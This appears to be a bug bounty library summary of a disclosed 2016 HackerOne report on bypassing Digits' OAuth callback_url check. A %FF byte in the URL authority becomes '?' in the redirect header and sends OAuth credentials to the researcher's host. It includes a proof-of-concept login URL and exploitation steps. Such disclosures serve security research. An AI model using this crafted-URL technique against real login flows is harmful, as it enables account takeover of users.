# Bypassing callback_url validation on Digits

Digits validated callback_url hostname before emitting a 302; a non-ASCII %ff in the authority became '?' in the Location header, shifting the host to attacker.com and leaking OAuth credentials.

- Payout: hidden
- Severity: high
- Program: X / xAI
- Found by: filedescriptor
- Disclosed: 2016-08-12
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/108113
- Library page: https://bugbountylibrary.com/r/h1%3A108113
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:high tech:oauth technique:parser-differential technique:unicode-normalization vuln:auth-bypass vuln:open-redirect

**Target:** OAuth web login flow callback_url parameter / Location header
**Root cause:** callback_url was parsed and hostname-validated, but the raw URL was later written into the Location header where non-ASCII bytes (%ff) are converted to '?', changing the parsed hostname after validation.
**Steps:**
1. Request `https://www.digits.com/login?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE&host=https%3A%2F%2Fwww.digits.com&callback_url=https://innerht.ml%FF@www.periscope.tv`
2. Validation parses URL: authority `innerht.ml%FF`, hostname `www.periscope.tv` matches registered domain, passes
3. Server emits 302 Location header; %ff is non-ASCII and is converted to `?`
4. Resulting Location `https://innerht.ml?@www.periscope.tv` makes hostname attacker.com/innerht.ml and rest query
5. Victim's OAuth credential is delivered to attacker's site
**How found:** Noticed validation only compares hostname and allows authority parts; then observed that non-ASCII characters in the header are converted to '?' after validation, hypothesizing the parse would shift the hostname.
**Exploitation:** Attacker crafts a Digits login link with callback_url containing their domain plus %ff in the authority before @registered-domain. Victim clicks, authenticates via phone, and the 302 redirects to attacker's host carrying the OAuth credential, allowing login to the victim's account (PoC renamed Periscope account to 'Pwn3d').
**Escalation:** Affects every app integrated with Digits including official Periscope; credential leak yields full account takeover.
**Insight:** When a URL is validated by parsing but emitted raw into a header, look for characters that the header serializer rewrites (non-ASCII to '?', control chars) so the post-serialization parse differs from the validated parse.

## Proof of concept (copied exactly from the original report)

**Malicious callback_url with non-ASCII authority bypass**

```
https://www.digits.com/login?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE&host=https%3A%2F%2Fwww.digits.com&callback_url=https://innerht.ml%FF@www.periscope.tv
```

